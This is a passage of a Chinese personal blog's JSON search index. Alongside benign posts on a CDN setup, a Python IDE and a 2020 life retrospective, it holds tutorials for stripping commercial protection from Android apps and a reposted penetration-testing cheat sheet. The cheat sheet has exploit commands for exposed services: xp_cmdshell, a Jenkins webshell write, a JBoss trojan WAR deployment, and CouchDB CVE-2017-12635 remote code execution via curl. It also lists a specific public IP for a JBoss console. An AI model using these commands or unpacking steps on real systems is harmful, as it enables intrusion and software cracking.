准备软件名为:“小学语文数学英语同步”的APP 工具:反射大师+MT管理器+虚拟大师 首先在本地用mt文件管理器查看安装包,确定是梆梆加固 接下来开始脱壳,脱壳的方法和360加固、腾讯加固一样,熟手直接下滑跳过这部分! 我们打开虚拟大师,导入并安装需要脱壳的软件 然后打开反射大师,选择这个软件并打开 和之前一样,点击中间的红色图标,然后选择第二个选项【当前ACTIVITY】,接着点击写出dex文件 然后导出到本地,虚拟大师就可以关闭了! 接着MT管理器,找到VMOSfiletransferstation这个文件夹,把我们脱好的壳修复一下dex, 然后删除未修复的,把修复好的重命名为classes.dex 这dex脱壳了,接下来又到修复apk的时候了,我们找到加固的安装包用mt点击 查看,选择dex++编辑器 编辑 classes.dex 然后依次点击com.SecShell.SecShell/Helper 点击打开 然后搜索const-string,复制APPNAME的上一行然后退出到主界面选择AndroidManifest.xml,点击反编译打开 搜索<application 在android:name行把我们刚刚复制的粘贴进去,修改前修改后然后点击右上角保存,自动签名打上钩,然后确定 接下来我们需要去删除残留文件,点击assets,然后把SecShell0.jar这个文件删掉 接着打开lib文件夹的armeabi,把里面的后三个SO(xxxxSHELL.so,xxxxSECURITY.so)删除 然后回到主界面,替换classes.dex文件,把我们脱好的classes.dex添加进去 这样就ok了","categories":[{"name":"逆向","slug":"逆向","permalink":"https://blog.aoian.cn/categories/%E9%80%86%E5%90%91/"}],"tags":[{"name":"加固","slug":"加固","permalink":"https://blog.aoian.cn/tags/%E5%8A%A0%E5%9B%BA/"}]},{"title":"安卓的脱壳之战-i加密加固","slug":"blogs/ijiami","date":"2021-03-12T06:49:42.000Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"2021/03/12/blogs/ijiami/","link":"","permalink":"https://blog.aoian.cn/2021/03/12/blogs/ijiami/","excerpt":"今天的脱壳还算简单吧。","text":"今天的脱壳还算简单吧。 准备的软件如下:MT管理器+虚拟大师+反射大师 安装包名为“某某输入法” 去虚拟大师里面导入并安装 打开反射大师,选择某某输入法打开 点击中间的图标脱出classes.dex 然后导出到本地, 在本地的MT管理器找到脱壳的dex并修复 然后把没有修复的删除,保留修复的文件重命名为classes.dex 接着我们找到加固的安装包,点击查看 老规矩用DEX++编辑器方式打开classes.dex文件 然后点击s.h.e.l.l,在点一次会出来一个N 和S的选项 我们点击S文件,然后搜索const-string v0 复制第二个入口com.moumou.input.MyApplication 然后返回软件主界面,我们点击AndroidManifest.xml,选择反编译 把入口复制到android:name那段代码修改前 修改后 右上角保存退出,取消自动签名确定 然后我们去删除残留文件,把这几个全部删完 然后把脱好的壳添加进去,自动签名 这就脱壳+修复完成了,我们安装测试 可以看到未加固状态,开发者助手分析也是未知的 这样,本次的爱加密脱壳教程就完了!","categories":[{"name":"逆向","slug":"逆向","permalink":"https://blog.aoian.cn/categories/%E9%80%86%E5%90%91/"}],"tags":[{"name":"加固","slug":"加固","permalink":"https://blog.aoian.cn/tags/%E5%8A%A0%E5%9B%BA/"}]},{"title":"给github pages加CDN","slug":"blogs/pages_CDN","date":"2021-03-12T05:49:42.000Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"2021/03/12/blogs/pages_CDN/","link":"","permalink":"https://blog.aoian.cn/2021/03/12/blogs/pages_CDN/","excerpt":"自从用了github pages后发现国内访问比较慢,于是想给它加上个七牛云的cdn","text":"自从用了github pages后发现国内访问比较慢,于是想给它加上个七牛云的cdn 以下是我的配置过程 1.在github 网页 的自定义域名处填写 www开头的域名 2.在dnspod处: www解析到github给每个人分配的域名上 根站点解析到七牛云的加速地址 3.七牛云配置 加速域名为根域名 源站信息填写github给每个人分配的域名 回源host为 www域名 动态加速,配置完成! 5.后记 由于七牛云的昂贵和github在国内开始的封锁,我决定丢弃github的自定义域名,转战vercel加又拍云,十分香。","categories":[{"name":"网站设计","slug":"网站设计","permalink":"https://blog.aoian.cn/categories/%E7%BD%91%E7%AB%99%E8%AE%BE%E8%AE%A1/"}],"tags":[{"name":"cdn","slug":"cdn","permalink":"https://blog.aoian.cn/tags/cdn/"},{"name":"原创","slug":"原创","permalink":"https://blog.aoian.cn/tags/%E5%8E%9F%E5%88%9B/"}]},{"title":"常见未授权访问漏洞实用技巧","slug":"blogs/weishouquanbug","date":"2021-03-12T05:49:42.000Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"2021/03/12/blogs/weishouquanbug/","link":"","permalink":"https://blog.aoian.cn/2021/03/12/blogs/weishouquanbug/","excerpt":"前言 未授权访问漏洞是常见的攻击入口点,某些严重的未授权访问会直接导致getshell,熟悉常见的未授权访问漏洞排查方法对红蓝双方都有很大的帮助。 本文对常见的未授权访问利用所需的工具和命令做总结。","text":"前言 未授权访问漏洞是常见的攻击入口点,某些严重的未授权访问会直接导致getshell,熟悉常见的未授权访问漏洞排查方法对红蓝双方都有很大的帮助。 本文对常见的未授权访问利用所需的工具和命令做总结。 mysql3306端口未授权访问,可读取数据库内容,可尝试在web路径写webshell 工具:Navicat sqlserver1433端口未授权访问,可读取数据库内容,可尝试执行master..cmdshell 1 exec master.xp..cmdshell 'whoami'2 exec master..cmdshell 'dir c:\\' 工具:Navicat MongoDB27017端口未授权访问,可读取数据库内容 工具:Navicat,Robo3T Redis27017端口未授权访问,可读取数据库内容 可通过四种方式getshell:写webshell、写crontabs、写ssh公钥、Redis主从复制(4.x,5.x) 工具:Redis-cli,fofa:protocol=redis HadoopHadoop webUI界面未授权访问,如果存在New Application API功能,可尝试getshell 工具:浏览器,https://github.com/vulhub/vulhub/blob/master/hadoop/unauthorized-yarn/exploit.py Elasticsearch9200端口未授权访问,可非法操作数据 1 http://ip:9200/_plugin/head/ web管理界面2 http://ip:9200/_cat/indices 查看集群当前状态3 http://ip:9200/_nodes 查看节点数据4 http://ip:9200/_river/_search 查看数据库敏感信息 工具:浏览器 ZooKeeper2181,2182端口未授权访问,可读取敏感信息,或者在Zookeeper集群内执行kill命令 工具:netcat,https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip SpringBootSpringBoot,web中env路径配置文件未授权访问,可暴露大量联动设备密码信息 工具:浏览器 ds_storehttp://ip/.ds_store未授权访问,可通过github工具下载web目录 工具:https://github.com/lijiejie/ds_store_exp VNCvnc用于远程桌面控制,默认端口在5900-5905之间,此类端口未授权访问会导致恶意用户直接控制受控主机 工具:VNCview Dockerdocker的2375端口web未授权访问,可通过访问ip:2375/version验证,有可能造成执行目标服务器容器命令如container、image等 工具:浏览器 JenkinsJenkins面板http://ip:8080/manage 未授权访问会允许用户选择执行脚本界面,操作一些系统层命令 1 println "whoami".execute().text 命令执行2 new File ("/var/www/html/shell.php").write('<?php phpinfo(); ?>'); 写webshell 工具:浏览器 MemcachedMemcached是一套常用的key-value分布式高速缓存系统,由于其设计缺陷没有权限控制模块,若11211端口的服务对公网开放,攻击者无需授权即可通过命令访问Memcached中的敏感信息。 1 telnet ip 11211 或 nc -vv <target> 112112 无需用户名密码,可以直接连接memcache服务的11211端口3 stats #查看memcache服务状态 工具:netcat,telnet JBOSSJBOSS的webUI界面http://ip:8080/jmx-console 未授权访问(或默认密码admin/admin),可导致JBoss的部署管理的信息泄露,攻击者也可以直接上传木马获取webshell 1 点击JMX CONSOLE未授权访问2 点击jboss.deployment中的deploymentScanner进入应用部署页面3 使用apache搭建远程木马服务器shell.war4 addurl-java.lang.String配置访问木马地址http://<ip>/shell.war5 访问http://ip:8080/shell/ http://221.229.247.184:8080/jmx-console/ 工具:浏览器,fofa:”JBoss Management” svn.svn目录未授权访问,可能导致大量源码泄露 1svn-extractor.py --url "url with .svn available" 工具:https://github.com/anantshri/svn-extractor git.git目录未授权访问,可能导致大量源码泄露 方法1 1 wget -r -p -np -k http://www.xxx.com/.git/ #先递归批量下载.git目录2 git log #查看网站的提交记录3 git reset --hard [log hash] #恢复到指定版本号 方法2 GitHack.py http://www.xxx.com/.git/ 工具:git,https://github.com/lijiejie/GitHack nfsnfs默认端口2049,配置不当时,可以远程挂载nfs的共享目录 1 apt install nfs-common 安装nfs客户端2 showmount -e xx.xx.xx.xx 查看nfs服务器上的共享目录3 mount -t nfs xx.xx.xx.xx:/grdata /mnt 挂载到本地4 umount /mnt 卸载目录 CouchDBCouchDB的webui未授权访问时,可通过 http://xx.xx.xx.xx:5984/_utils/ 页面创建管理员用户,并通过put方式远程代码执行(CVE-2017-12635) 1 curl -X PUT 'http://admin:[email protected]:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'2 curl -X PUT 'http://admin:[email protected]:5984/vultest'3 curl -X PUT 'http://admin:[email protected]:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'4 curl -X POST 'http://admin:[email protected]:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json' 工具:curl,https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py 作者:Leticia,文章来源:Leticia’S Blog","categories":[{"name":"渗透","slug":"渗透","permalink":"https://blog.aoian.cn/categories/%E6%B8%97%E9%80%8F/"}],"tags":[{"name":"渗透","slug":"渗透","permalink":"https://blog.aoian.cn/tags/%E6%B8%97%E9%80%8F/"}]},{"title":"Thonny-适合小白的pyhton的开发环境","slug":"blogs/thonny-pyide","date":"2021-03-10T05:49:42.000Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"2021/03/10/blogs/thonny-pyide/","link":"","permalink":"https://blog.aoian.cn/2021/03/10/blogs/thonny-pyide/","excerpt":"Thonny —— 一个面向python初学者的 IDE","text":"Thonny —— 一个面向python初学者的 IDE 简介Thonny是一款Python编辑器,基于python内置图形库tkinter开发出来的,支持Windows、Mac、Linux多平台,支持语法着色、代码自动补全、debug等功能,软件容易上手! 优势 1、容易上手 Thonny内置了Python 3.7,所以只需要一个简单的安装程序,就可以开始学习编程了。(如果有必要,你也可以使用单独的Python安装。) 初始用户界面上没有任何可能分散初学者注意力的功能。 2、无障碍的变量 当你完成hell-worlds后,选择View → Variables,看看你的程序和shell命令是如何影响Python变量的。 3、简单的调试器 只需按Ctrl+F5代替F5,你就可以一步一步地运行你的程序,不需要断点。大步按F6,小步按F7。步骤遵循程序结构,而不仅仅是代码行。 4、通过表达式评估的步骤 如果你使用小步骤,那么你甚至可以看到Python是如何评价你的表达式的。你可以把这个浅蓝色的盒子看成是一张纸,Python 在这里用子表达式的值逐一替换子表达式。 5、函数调用的忠实表示 步入函数调用会打开一个新窗口,里面有单独的局部变量表和代码指针。良好的理解函数调用的工作原理对于理解递归特别重要。 6、突出语法错误 未关闭的引号和括号是最常见的初学者语法错误。Thonny的编辑器可以让你很容易发现这些错误。 7、解释了作用域 高亮显示变量的出现,可以提醒你相同的名称并不总是意味着相同的变量,并且有助于发现错别字。本地变量与全局变量有了直观的区分。 8、解释引用的模式 变量表最初按照简化模式(名称→值)呈现,但可以切换到更现实的模式(名称→地址/ID→值)。 变量表与值表 9、代码完成 学生可以通过代码完成的帮助,探索API。 10、初学者友好的系统shell 选择 “工具”→打开系统shell来安装额外的软件包或学习在命令行上处理Python。PATH和与其他Python解释器的冲突由Thonny处理。 11、简单、干净的pip GUI 选择工具 → 管理软件包,更容易安装第三方软件包。 下载本文章发布时官网最新版本为3.3.6 官网下载 安装","categories":[{"name":"软件","slug":"软件","permalink":"https://blog.aoian.cn/categories/%E8%BD%AF%E4%BB%B6/"}],"tags":[{"name":"python","slug":"python","permalink":"https://blog.aoian.cn/tags/python/"},{"name":"原创","slug":"原创","permalink":"https://blog.aoian.cn/tags/%E5%8E%9F%E5%88%9B/"}]},{"title":"2020年年终总结","slug":"blogs/summary2020","date":"2021-02-10T05:49:42.000Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"2021/02/10/blogs/summary2020/","link":"","permalink":"https://blog.aoian.cn/2021/02/10/blogs/summary2020/","excerpt":"心理疾病诊断书 心灵疗养院","text":"心理疾病诊断书 心灵疗养院 姓名 : Aoian 性别 :难 年龄 :三分之甲子 别名 :新年的礼物 诊断背景①:2020年这是不平凡的一年(;´д`)ゞ,在疫情中洗礼,经烈火而永生,无数家庭遭遇了苦难,体验了离合悲欢,愿远在天堂的人们一路走好︿( ̄︶ ̄)︿。 诊断背景②:2021年,这又是不平凡的年头,说好的一月20日学校放假,却因河北疫情而导致他(我的好朋友)不得不提前回家,借此闲暇,他进入 心灵疗养院 找我看看病,岂不快哉٩(๑>◡<๑)۶ !文章将会永久保存 以下为他的叙述:(让我们一起走进他的世界) 物欲横飞的世界,究竟怎样,才能永葆初心? 小小的脑袋,大大的疑惑 1 回顾三分之甲子20岁,算60年的三分之一了。他问自己一句:“你是成年人了吗?” ————从法律意义上来讲,是的。 ————在他自己眼里,不是。 ————在家人眼里,远远不是。 这20年,在学校的时光,占据了大部分,剩下的,才是和家人的。 总述:繁花似锦之中,淡云流水慌度。 没有这篇总结,他觉得对不起他这20年。 1.1 一眨眼小学就过去了1.1.1 幼儿班出生是什么时候?他忘记了,只是隐约记得身份证上写的,那就按这个算吧。没上过什么大班小班中班,至今也未曾弄懂,就不提了吧。幼儿班的老师是谁,他也忘记了,毕竟,过了这么多年,不记得也情有可原吧,妈妈说他总是哭,第一次送他去幼儿班,他就哭着不乐意,没办法,就第二年去的幼儿班,在东新房小学。 想起了那首诗最喜小儿亡赖,溪头卧剥莲蓬。家乡没有莲蓬,但是他那时候却一点也不乏味。幼儿班好玩的很,当时的他们没有上下课铃,老师站在门口,说什么时候上课就是什么时候上课,早早地写完作业,然后直接下课,到外面去抓蜗牛,哈哈,蜗牛很多,个头很大。 1.1.2 一、二年级孩童的时代,总是快乐的,不是吗?他也是在东新房小学上的,任教的是陈焕新老师(全科老师),当时只有两个老师,教三个年级,就是三个班,两个班在一个屋子里,一个老师,一会儿去左边教,一会儿去右边教,忙的不亦乐乎。 当时他好像还是个班长,当班长的感觉还行吧,但是他忘了他是怎么当上的,稀里糊涂的( ̄. ̄)….. 快到中午时,老师总是说“谁先抄完黑板上的拼音与汉字,谁就出去吃饭吧”,然后他们奋笔疾书,之后跑去吃饭,好像那个时候他基本是第一个写完,然后第一个买上午饭,一个馒头,一袋辣条。 当时他学习也挺好的。开始得奖状了…… ( 话说小学时候还“偷过”棒子呢,掉过井。。。啊这。。。) 1.1.3 三年级至六年级三年级就到两间房寄宿制完全小学上学了,离家比较远了,需要住宿了,一周去回一次,接触了“专车”接送,他才知道,这是一种暴利,不仅不安全,还多花钱,超员现象严重。以前是这样,现在不知道现在是什么样子了。 老师都很好,但个别的存在管教失度等问题,具体自己体会吧,孩子年龄还小,哪里知道维权呢?记得家长最喜欢的一句话就是:”老师,孩子他交给您了,你随便管吧!”真的是随便管了, 当时科学课有个半米长的竹棍不知道打在了谁身上 …… 他当时脾气也不好。 三四五年级都在三班,六年级分班级,在二班。 六年级有点压力,他们也有手机的陪伴。不过,还好,可以”藏在文书中”(将书挖出一个槽,把手机放在里面): 不是么? 记得“五三”,好像怎么也忘不掉,李老师惩罚我们班全校最后一个吃饭… 参加了一个六一儿童节,当时表演的是三句半。 晴芳独韵日记开始谱写。 微博开始,第一次发的微博。 点击查看 家里距离水井很远,要这样运送水 2008年参加了一次活动去了北京,那是他第一次出远门。 三年学习成绩挺好的,第四年差点事。本来是应该诚信应考,但是小考之前的一天,老师要求那些学习差的,能抄多少尽量多抄。他觉得可能老师也可能是为了同学们的将来着想吧。 家里经济很紧,他很穷吗?不,他不穷,他把一张大票放在口袋里,一放就是一星期,初中就是一个月,他不穷,他只是不花,这是他的尊严。 六年级好辛苦,早早地就要起床,在小操场上背《科学》。 收获了好多小伙伴,现在也不知道怎么样了?过得还好吗? 1.2 还没准备的初中六中的门口 还没准备什么,就走进了滦平六中。这使他知道,小学时候,是他最快乐的日子,没有之一。 一直在八班。真是服了,担当区不是垃圾站就是厕所。。。 这里,好像到处充斥着暴力,无论校内还是校外。“看门人”,“快递员”,“打工人”,“保姆”……不知道他还有什么职业是没体验过的。 尔虞他诈,“官僚“剥削,托人办事? 他最不喜欢迎合,不用迎合他,也不要花心思在身上,和他耍心眼子,没用。 他不相信他不会为自己的行为付出代价。学校无能,教师无力,但是他相信社会不是那个样子,他也相信国家会严厉打击。这么多年过去了,原谅他还记得,纵使他多次尝试忘记。冤冤相报何时了,就让青春随着风飘散吧… 初一第一次考试,年级第一,之后就。。。。。。不想上了,想退学了。 后来因为坚持要学计算机,这是他的理想,不愿意放弃! 开办了网站,历经几次更改,现在叫做小高技术栈。 小高全家桶网址: https://aoian.cn 小高全家桶https://aoian.cn/ 啥也不想说了,初中没什么好的。有一次竟然在雪地上做俯卧撑,他也是醉了。 家里养的小兔子 在家里养了兔子,到了高中就全部送人了。 没怎么结交朋友,“金哥”就是一个。 又养了鸽子,最后我给放飞了,鸽子属于蓝天。 曾经捕捉的受伤的鸽子 还见到了刺猬,最后也放走了。 点击查看 偶然在家门口遇见的刺猬 那俩同桌倒是记得挺清楚,当时还给他二同桌( 李可心 ):写了一封离别信。 六中 话说他刚想起来,一个初中,室外担当区不是厕所就是垃圾堆,真无语。。。 那个厕所的过道,冬天下完雪就可以滑下来了,他说他还摔过一回呢,确实太滑了 1.3 高中太匆匆高中没有太多伤心,没有过多的快乐,亦没有过多的过往,有的,只有那数不清的卷子和老师滔滔不绝的授课。 高一时候姥姥家开始换上彩钢。上大学时候,姥姥家就拆了。 装修的姥姥家 2020年年底,姥姥家也享受扶贫搬迁政策,家里的老房子拆了。 搬迁走后,老家就拆了 不过很好了,若初中时黑暗,高中也许是黎明。 一直在13班。 1)老师的经典语录,在此。 “这道题讲了多少遍了?我教了一遍,又让别人上黑板做了一遍,你怎么还不会?!” ———— 他怎么知道他竟然不会? “你怎么这么笨?傻子早都会做了,你咋还不会?” ———— 还好,他不是傻子。 “其他老师留的作业你自己想办法,反正他留的作业必须完成。” ———— 您行您有理,他斗不过。 “马上来找我” ———— 好家伙,发生什么事了? 2)认识一大堆同学 有自己班的:全体同学(包括分科前后) 有兄弟班的:大部分同学 还有别的班的(不算与自己在过一个班的):极少数吧,想不起来了 3)想吐槽 起床时很早,天黑还得跑 4)家庭情况大转变 我的老家 响应国家异地扶贫搬迁政策(因为家乡太缺水了,井有的时候会干),搬家到了滦平县城。 井有水的时候 感谢政府,让他家家庭生活变好了。 远拍村庄 1.4 假期乐哈哈真棒!他和宿舍好友一起去了光哥家(金沟屯),一起烧烤。 金沟屯的水田 瞧,老毕正在烧烤 还去了大舅妈家,白洋淀的荷花好大啊!下图为看地笼。 查看地笼捕捉鱼虾 2 观大学生活全方面(大一上学期)上大学喽 坐火车 2.1 学课内: 一周课“不少”,活动还加料,新东方必听,推销真是恼。 学习通,智慧树,完美校园和易班,这个群那个群,入学以来群增百。 课外: 加入两个部门,感觉并不是很好,还是他太年轻。 读了一点儿《安妮日记》 学习了一点网络安全课程在看雪论坛上,也学习了一点单片机原理,这是上海交通大学的智慧树在线课程,看了一半,做了笔记。同时呢,还搞搞路由器。 2.2 衣最美的穿搭,都在这里,比高中更加多样,当然,比高中更加丰富。 2.3 食唉,不提吃的行不行。三个食堂,远近不一,虽说不咋好吃吧,还是非常贵,不如外卖。 有次班级团建和组织部门团建,全是 辣 的菜,他哭了 。。。 2.4 住还可以,很满意,就是太潮湿了。下雨是常态,太阳躲得快。 2.5 行学校没有一个正经的围墙,走着走着就出去了,“这是跟他在开玩笑?” 去过神农湖,看过神农塔。 2.6 玩看了17.3关于性 17.3剧 去了神农湖,绕了神农塔,喝了奶茶。 神农湖划船 游览了博物馆 株洲博物馆游览 3 让《晴芳独韵》撑起半边天他说这里是他的心声,是他成长的见证 也许有一天,你忘记了自己做过的事情,但它可能会被记在这里 小猫咪能有什么坏心眼呢 他说他希望别人读懂他的日记,去了解他,巧了,我就是他最好的朋友 他是一个想不透的人,弄透了他,或许懂了人生。。。 从 小学开始吧 手机用户可能显示不全,试试左右滑动 编号 标题 简介 0 刻字 对“纹身”的理解 1 作者自介 介绍自己 2 梦初醒 介绍家庭 3 到现在 介绍小学的事情 4 人生转变(周) 做白日梦 5 我不明白 晚自习下课了之后的事情 6 纯真哪去了? 自己批判自己胆小 7 杂话论谈 关于学习与层次 8 哲理录选文 关于自己认为的哲理 9 谈——交往 谈“搞对象” 10 女生们的困惑 解答异性困惑 11 致——情窦初开的年纪 谈谈感情 12 初生的“太阳” 对老师的敬仰 13 我信奉的福祸平衡说 对快乐的期待 14 勿忘吾耻 对某人的憎恶 15 九年级starting 快乐的九年级 16 同桌 可能是好感 17 社会 对校外买水以及村里选干部的感想 18 观“二战”之风云 校内打架 19 谈“思想” 思想的重要性 20 面临的问题 日记的问题叙述 21 怪我不能平等地对待朋友 对性别的思考 22 本周纪实 快中考了 23 “喜欢”的故事 问问朋友的故事 24 周周记 班级聚会,我伤心了 25 中考 有人受伤了 26 “羞”,亦或胆小 打招呼?吃饭? 27 生日 我的生日 28 理性与人性 对自然的理解 29 看她“不顺眼” 记录读书管理 30 别怪我无情 不想管读书了 31 时评热点(之汇英中学) 对热点的评析 32 习惯成“应该” 对让座的理解 33 承担,为自己的行为负责 说话被罚了 34 路虽迩,亦无悔 对悲惨的世界的理解 35 回味影视之乐 谈谈电视剧吧 36 由《香蜜》引发的联想 香蜜沉沉烬如霜 37 会考的联想 会考(好像没关系) 38 回味来时之路 回味自己 39 仇恨亦是种力量 对仇恨的理解 40 己不律,何以评人 跟风 41 “第二”比“第一”差了多少 被同学的家长认出来了 42 愿历尽千帆,归来仍少年 高三很迷茫 43 十四班交际史 交友 44 随笔录 小欢喜 45 周周记 新年的假期 46 以理想之火点燃希望之路 回忆录 47 为何我如此尴尬 真巧,真不巧 48 重走南山公园 游玩 49 Happy Day 喜欢 50 家,你终于来了 家庭对成长的影响 60 与你的第二次出行 爬山? 61 “这”,算表白吗? QQ聊天记录 62 不好意思,惹你生气 愧疚 63 进入大学 大学 64 大学生活纪实 大学 65 加入2个部门 进步与期待 66 辩论赛 比赛 67 关于学委我想说的话 我们班的学委太辛苦了 68 提前回家 从大学回家啦 期待未来会更好 人,要怎样度过这一生? 点击查看更多 他想过放弃,也许,不是所有人都能飞上蓝天,他想过调走,也许,他本来就不属于这里,他想过停下,这是一条看不到尽头的路。忠于自他未必有果,坚持努力也不一定换来成功,但有天他们回望过往,是胸怀壮阔还是满心懊悔,取决于他们每个当下。 过去已经回不去了,只能向前走吧。 即使没有月亮,心中也是一片皎洁。 追求使自己快乐的东西,不是很好么? 学土木就学土木吧,兴趣是网络安全,他会继续探索的。给他加油吧! 检查结果:没结果 诊断意见:世界成就了他自己 处理建议: 放养治疗 医生签名:小高 处理时间:2021年2月新年 (码字不易,看完的留下评论吧)","categories":[],"tags":[{"name":"原创","slug":"原创","permalink":"https://blog.aoian.cn/tags/%E5%8E%9F%E5%88%9B/"},{"name":"总结","slug":"总结","permalink":"https://blog.aoian.cn/tags/%E6%80%BB%E7%BB%93/"}]},{"title":"欢迎大家","slug":"blogs/welcome","date":"2021-02-05T05:49:42.000Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"2021/02/05/blogs/welcome/","link":"","permalink":"https://blog.aoian.cn/2021/02/05/blogs/welcome/","excerpt":"","text":"欢迎大家 十分欢迎大家的到来,一起来我的博客逛逛,玩玩 小高博客自2017年创立,历经了多次风雨,但是依然没有倒下… 如今小高博客引入谷歌广告,已经可以赚些小钱弥补家用了。 我希望能够高质量的写好每一篇文章,不求数量.但求质量,博客文章,主要是回顾自己的历程,写给自己看的,留个回忆。 部分文章来源于网络,其实搬运并没有多大意义,只是备份一下的作用, 我本人还是不太喜欢搬运其他人的文章的, 对于搬运的文章,如有话说,请与我联系。","categories":[],"tags":[{"name":"公告","slug":"公告","permalink":"https://blog.aoian.cn/tags/%E5%85%AC%E5%91%8A/"}]}],"categories":[{"name":"人生","slug":"人生","permalink":"https://blog.aoian.cn/categories/%E4%BA%BA%E7%94%9F/"},{"name":"教程","slug":"教程","permalink":"https://blog.aoian.cn/categories/%E6%95%99%E7%A8%8B/"},{"name":"校园","slug":"校园","permalink":"https://blog.aoian.cn/categories/%E6%A0%A1%E5%9B%AD/"},{"name":"搞点东西","slug":"搞点东西","permalink":"https://blog.aoian.cn/categories/%E6%90%9E%E7%82%B9%E4%B8%9C%E8%A5%BF/"},{"name":"资源收集","slug":"资源收集","permalink":"https://blog.aoian.cn/categories/%E8%B5%84%E6%BA%90%E6%94%B6%E9%9B%86/"},{"name":"娱乐","slug":"娱乐","permalink":"https://blog.aoian.cn/categories/%E5%A8%B1%E4%B9%90/"},{"name":"网站设计","slug":"网站设计","permalink":"https://blog.aoian.cn/categories/%E7%BD%91%E7%AB%99%E8%AE%BE%E8%AE%A1/"},{"name":"信息安全","slug":"信息安全","permalink":"https://blog.aoian.cn/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/"},{"name":"逆向","slug":"逆向","permalink":"https://blog.aoian.cn/categories/%E9%80%86%E5%90%91/"},{"name":"渗透","slug":"渗透","permalink":"https://blog.aoian.cn/categories/%E6%B8%97%E9%80%8F/"},{"name":"软件","slug":"软件","permalink":"https://blog.aoian.cn/categories/%E8%BD%AF%E4%BB%B6/"}],"tags":[{"name":"畅谈","slug":"畅谈","permalink":"https://blog.aoian.cn/tags/%E7%95%85%E8%B0%88/"},{"name":"python","slug":"python","permalink":"https://blog.aoian.cn/tags/python/"},{"name":"轉載","slug":"轉載","permalink":"https://blog.aoian.cn/tags/%E8%BD%89%E8%BC%89/"},{"name":"单片机","slug":"单片机","permalink":"https://blog.aoian.cn/tags/%E5%8D%95%E7%89%87%E6%9C%BA/"},{"name":"系统","slug":"系统","permalink":"https://blog.aoian.cn/tags/%E7%B3%BB%E7%BB%9F/"},{"name":"人生","slug":"人生","permalink":"https://blog.aoian.cn/tags/%E4%BA%BA%E7%94%9F/"},{"name":"校园","slug":"校园","permalink":"https://blog.aoian.cn/tags/%E6%A0%A1%E5%9B%AD/"},{"name":"影视","slug":"影视","permalink":"https://blog.aoian.cn/tags/%E5%BD%B1%E8%A7%86/"},{"name":"原创","slug":"原创","permalink":"https://blog.aoian.cn/tags/%E5%8E%9F%E5%88%9B/"},{"name":"cdn","slug":"cdn","permalink":"https://blog.aoian.cn/tags/cdn/"},{"name":"ctf","slug":"ctf","permalink":"https://blog.aoian.cn/tags/ctf/"},{"name":"目标","slug":"目标","permalink":"https://blog.aoian.cn/tags/%E7%9B%AE%E6%A0%87/"},{"name":"路由器","slug":"路由器","permalink":"https://blog.aoian.cn/tags/%E8%B7%AF%E7%94%B1%E5%99%A8/"},{"name":"加固","slug":"加固","permalink":"https://blog.aoian.cn/tags/%E5%8A%A0%E5%9B%BA/"},{"name":"渗透","slug":"渗透","permalink":"https://blog.aoian.cn/tags/%E6%B8%97%E9%80%8F/"},{"name":"总结","slug":"总结","permalink":"https://blog.aoian.cn/tags/%E6%80%BB%E7%BB%93/"},{"name":"公告","slug":"公告","permalink":"https://blog.aoian.cn/tags/%E5%85%AC%E5%91%8A/"}]}